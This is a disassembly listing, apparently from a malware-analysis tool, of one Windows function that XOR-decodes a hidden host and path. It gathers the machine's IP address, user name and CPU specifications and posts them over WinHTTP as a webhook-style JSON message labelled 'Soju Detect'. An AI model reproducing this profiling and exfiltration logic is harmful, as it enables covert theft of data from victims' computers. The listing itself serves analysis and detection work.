Function at 0x140033500
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
xor edi, edi
lea rcx, [rbp - 0x20]
call fcn.140033070
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 6
cmp qword [rbp - 0x10], r8
cmovb r8, qword [rbp - 0x10]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400386a0
lea rcx, [rbp - 0x80]
mov rbx, qword [rbp - 0x80]
mov rsi, qword [rbp - 0x68]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp - 0x70]
cmp r8, 6
jne 0x140033593
lea rdx, str.Error:
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140033593
mov r14b, 1
jmp 0x140033596
xor r14b, r14b
cmp rsi, 0xf
jbe 0x1400335cd
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400335c5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034956
mov rcx, rbx
call fcn.14009ab20
test r14b, r14b
je 0x1400335dc
mov edi, 1
jmp 0x140034963
lea rcx, [rbp + 0x100]
call fcn.140032e90
nop
movdqa xmm0, xmmword [0x1400b75e0]
movdqu xmmword [rsp + 0x40], xmm0
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov r9d, eax
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x48], ecx
mov dword [rsp + 0x4c], edx
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
mov r8d, 0x80000000
cmp eax, r8d
jb 0x1400336a2
nop dword [rax]
mov eax, r8d
xor ecx, ecx
cpuid
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x48], ecx
mov dword [rsp + 0x4c], edx
cmp r8d, 0x80000002
jne 0x14003366e
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x120], xmm0
jmp 0x14003369a
cmp r8d, 0x80000003
jne 0x140033685
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x130], xmm0
jmp 0x14003369a
cmp r8d, 0x80000004
jne 0x14003369a
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x140], xmm0
inc r8d
cmp r8d, r9d
jbe 0x140033640
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], rdi
lea rax, [rbp + 0x120]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400336c2
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x40]
call fcn.1400386a0
nop
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Fontesie_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
test rax, rax
je 0x140033d3b
movabs r15, 0xf1ce3afc313b2edf
mov qword [rbp - 0x60], r15
movabs rsi, 0x312d5d9de856900
mov qword [rbp - 0x58], rsi
movabs r13, 0xd8e9cb8e9bed4461
mov qword [rbp - 0x50], r13
movabs rax, 0x3d001cbb2a885ab2
mov qword [rbp - 0x48], rax
movabs rax, 0xf1ad3a8f31522ebb
mov qword [rbp - 0x80], rax
movabs rax, 0x373d5bddef7696f
mov qword [rbp - 0x78], rax
movabs rax, 0xd88acba09b9d4411
mov qword [rbp - 0x70], rax
movabs rax, 0x3d001cbb2ae55add
mov qword [rbp - 0x68], rax
movups xmm1, xmmword [rbp - 0x80]
movups xmm2, xmmword [rbp - 0x70]
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x120], xmm0
xorps xmm2, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x130], xmm2
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, [rbp + 0x120]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x140033d32
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], r13
movabs rax, 0x3d001cbb2a885ab2
mov qword [rbp + 0x218], rax
movabs rax, 0x4f67db50d8c601c3
mov qword [rbp + 0x220], rax
movabs rax, 0xaaa5a68d219391c4
mov qword [rbp + 0x228], rax
movabs rax, 0x1219a962868fccc5
mov qword [rbp + 0x230], rax
movabs rax, 0xb45f3cfd130ae96
mov qword [rbp + 0x238], rax
movabs rax, 0xb7f043846aa7bf87
mov qword [rbp + 0x240], rax
movabs rax, 0xc3dad721e8d3aa88
mov qword [rbp + 0x248], rax
movabs rax, 0x7b740c96fa1650c9
mov qword [rbp + 0x250], rax
movabs rax, 0xcd3aa1434a46ed5a
mov qword [rbp + 0x258], rax
movabs rax, 0xd70c7598d2fdf9ab
mov qword [rbp + 0x260], rax
movabs rax, 0xae39d0958dd840ec
mov qword [rbp + 0x268], rax
movabs rax, 0x7e1b908a0cb612cd
mov qword [rbp + 0x270], rax
movabs rax, 0xbeb5ce77553bbb1e
mov qword [rbp + 0x278], rax
movabs rax, 0xcf1114acf609726f
mov qword [rbp + 0x280], rax
movabs rax, 0xe00830891d142790
mov qword [rbp + 0x288], rax
movabs rax, 0xded48a3e2c3d4bf1
mov qword [rbp + 0x290], rax
movabs rax, 0xf0842e6b0be633c2
mov qword [rbp + 0x298], rax
movabs rax, 0x17ce4100ae562cd3
mov qword [rbp + 0x2a0], rax
movabs rax, 0xd1835dbd97d53054
mov qword [rbp + 0x2a8], rax
movabs rax, 0xc8b3f8926cf4f4d5
mov qword [rbp + 0x2b0], rax
movabs rax, 0x9aa9e07f2d4381a6
mov qword [rbp + 0x2b8], rax
movabs rax, 0x94e59e346a45fc97
mov qword [rbp + 0x2c0], rax
movabs rax, 0x26d144d196c6fa98
mov qword [rbp + 0x2c8], rax
movabs rax, 0xf1e13a95314b2ebe
mov qword [rbp + 0x3c0], rax
movabs rax, 0x37ad5bbdee06977
mov qword [rbp + 0x3c8], rax
movabs rax, 0xd89acbe59b82440e
mov qword [rbp + 0x3d0], rax
movabs rax, 0x3d301c892ab95a9d
mov qword [rbp + 0x3d8], rax
movabs rax, 0x4f50db60d8f601fb
mov qword [rbp + 0x3e0], rax
movabs rax, 0xaa93a6bb21a291f3
mov qword [rbp + 0x3e8], rax
movabs rax, 0x122ba95086b6ccf3
mov qword [rbp + 0x3f0], rax
movabs rax, 0xb7df3fed100aea1
mov qword [rbp + 0x3f8], rax
movabs rax, 0xb7b143c56a92bfa8
mov qword [rbp + 0x400], rax
movabs rax, 0xc39ed740e894aae5
mov qword [rbp + 0x408], rax
movabs rax, 0x7b2d0caffa46509f
mov qword [rbp + 0x410], rax
movabs rax, 0xcd0fa13b4a71ed1e
mov qword [rbp + 0x418], rax
movabs rax, 0xd73575c9d297f9e2
mov qword [rbp + 0x420], rax
movabs rax, 0xae4ed0f78d9640af
mov qword [rbp + 0x428], rax
movabs rax, 0x7e5990f30cc112fb
mov qword [rbp + 0x430], rax
movabs rax, 0xbefece135563bb5d
mov qword [rbp + 0x438], rax
movabs rax, 0xcf4014e5f6487208
mov qword [rbp + 0x440], rax
movabs rax, 0xe05730f11d2427e3
mov qword [rbp + 0x448], rax
movabs rax, 0xdeec8a5f2c0b4bbd
mov qword [rbp + 0x450], rax
movabs rax, 0xf0d52e200bd33381
mov qword [rbp + 0x458], rax
movabs rax, 0x17be4143ae392ce2
mov qword [rbp + 0x460], rax
movabs rax, 0xd1fb5df097e03030
mov qword [rbp + 0x468], rax
movabs rax, 0xc884f8f66ca6f48f
mov qword [rbp + 0x470], rax
movabs rax, 0x9affe03e2d2281de
mov qword [rbp + 0x478], rax
movabs rax, 0x94d19e6e6a0ffcfd
mov qword [rbp + 0x480], rax
movabs rax, 0x26d144d196c6fad2
mov qword [rbp + 0x488], rax
lea rcx, [rbp + 0x2f0]
lea rax, [rbp + 0x3c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [rbp + 0x300]
xorps xmm1, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [rbp + 0x320]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [rbp + 0x340]
xorps xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmm0, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [rbp + 0x360]
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [rbp + 0x370]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [rbp + 0x380]
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [rbp + 0x3a0]
xorps xmm1, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x3a0], xmm1
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rsi
movabs rax, 0xf19a3aaf31742e8f
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x490], xmm0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x2f0]
lea rdx, [rbp + 0x490]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r13, rax
test rax, rax
jne 0x140033d90
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, 1
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14003491e
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034918
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
nop word [rax + rax]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rsi
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
lea rax, [rsp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140033dd1
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2d0]
call fcn.1400386a0
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
movabs rax, 0xf1ce4e9f544f4b9b
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rdi
lea rax, [rsp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140033e32
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400386a0
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
movabs rax, 0xc1f60ccd000c18ee
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rdi
lea rax, [rsp + 0x60]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140033e90
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.1400386a0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rbp + 0x10]
sub rax, rdx
cmp rax, 0x3f
jb 0x1400349be
lea r9, [rbp]
mov r15, qword [rbp]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x540], rax
cmp rax, 0xf
cmova r9, r15
mov qword [rbp + 0x538], r9
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rdx + 0x3f]
mov qword [rbp + 0x530], rax
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rbp - 0x80]
cmp rax, rbx
jbe 0x140033fb5
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x140033f65
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14009acb8
test rax, rax
je 0x1400345c5
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x530]
mov r9, qword [rbp + 0x538]
jmp 0x140033fb1
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140033f8d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400349c4
jmp 0x140033f34
test rcx, rcx
je 0x140033fae
call fcn.14009acb8
mov rsi, rax
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x530]
mov r9, qword [rbp + 0x538]
jmp 0x140033fb1
mov rsi, rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [str._username_:__Soju_Detect___content_:_____embeds_:___title_:__]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x1400b7010]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [0x1400b7020]
movups xmmword [rsi + 0x20], xmm0
movsd xmm0, qword [0x1400b7030]
movsd qword [rsi + 0x30], xmm0
mov eax, dword [0x1400b7038]
mov dword [rsi + 0x38], eax
movzx eax, word [0x1400b703c]
mov word [rsi + 0x3c], ax
movzx eax, byte [0x1400b703e]
mov byte [rsi + 0x3e], al
lea rcx, [rsi + 0x3f]
mov r8, rdx
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x530]
mov byte [rsi + rax], 0
mov r8d, Ordinal_41
lea rdx, str.___description_:__Current_IP_Address:
lea rcx, [rbp - 0x80]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp - 0x60]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, recvfrom
lea rdx, str._nUsername:
lea rcx, [rbp + 0xe0]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x110]
lea rcx, [rbp + 0xc0]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str._nComputer_Specifications:
lea rcx, [rbp + 0xa0]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, Ordinal_35
lea rdx, str.___footer_:__text_:_____color_:
lea rcx, [rbp + 0x60]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str._____attachments_:___
lea rcx, [rsp + 0x60]
call fcn.140037f30
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140034323
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003431e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003431e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140034376
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034371
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034371
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400343c7
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400343c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400343c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14003441c
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034417
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140034477
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034472
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034472
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400344d2
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400344cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400344cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14003452d
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034528
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034528
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140034582
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003457d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003457d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400345d1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400345cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400345cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs rax, 0xf1ce3afc313b2edf
mov qword [rbp + 0x1b0], rax
movabs rax, 0x312d5d9de856900
mov qword [rbp + 0x1b8], rax
movabs rax, 0xd8e9cb8e9bed4461
mov qword [rbp + 0x1c0], rax
movabs rax, 0x3d001cbb2a885ab2
mov qword [rbp + 0x1c8], rax
movabs rax, 0x4f67db50d8c601c3
mov qword [rbp + 0x1d0], rax
movabs rax, 0xaaa5a68d219391c4
mov qword [rbp + 0x1d8], rax
movabs rax, 0x1219a962868fccc5
mov qword [rbp + 0x1e0], rax
movabs rax, 0xb45f3cfd130ae96
mov qword [rbp + 0x1e8], rax
movabs rcx, 0xb7f043846aa7bf87
mov qword [rbp + 0x1f0], rcx
movabs rdx, 0xc3dad721e8d3aa88
mov qword [rbp + 0x1f8], rdx
movabs rax, 0xf1ba3a9231542e9c
mov qword [rbp + 0x160], rax
movabs rax, 0x33fd5addeeb6965
mov qword [rbp + 0x168], rax
movabs rax, 0xd88ccbfe9b944435
mov qword [rbp + 0x170], rax
movabs rax, 0x3d701cda2aa85a88
mov qword [rbp + 0x178], rax
movabs rax, 0x4f04db39d8aa01b3
mov qword [rbp + 0x180], rax
movabs rax, 0xaacaa6e421e791a5
mov qword [rbp + 0x188], rax
movabs rax, 0x126aa90886a0ccab
mov qword [rbp + 0x190], rax
movabs rax, 0xb4ff3c2d15eaef9
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], rdx
movups xmm0, xmmword [rbp + 0x160]
movups xmm1, xmmword [rbp + 0x170]
movups xmm2, xmmword [rbp + 0x180]
movups xmm3, xmmword [rbp + 0x190]
movups xmm4, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x4a0], xmm0
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x4b0], xmm1
xorps xmm2, xmmword [rbp + 0x1d0]
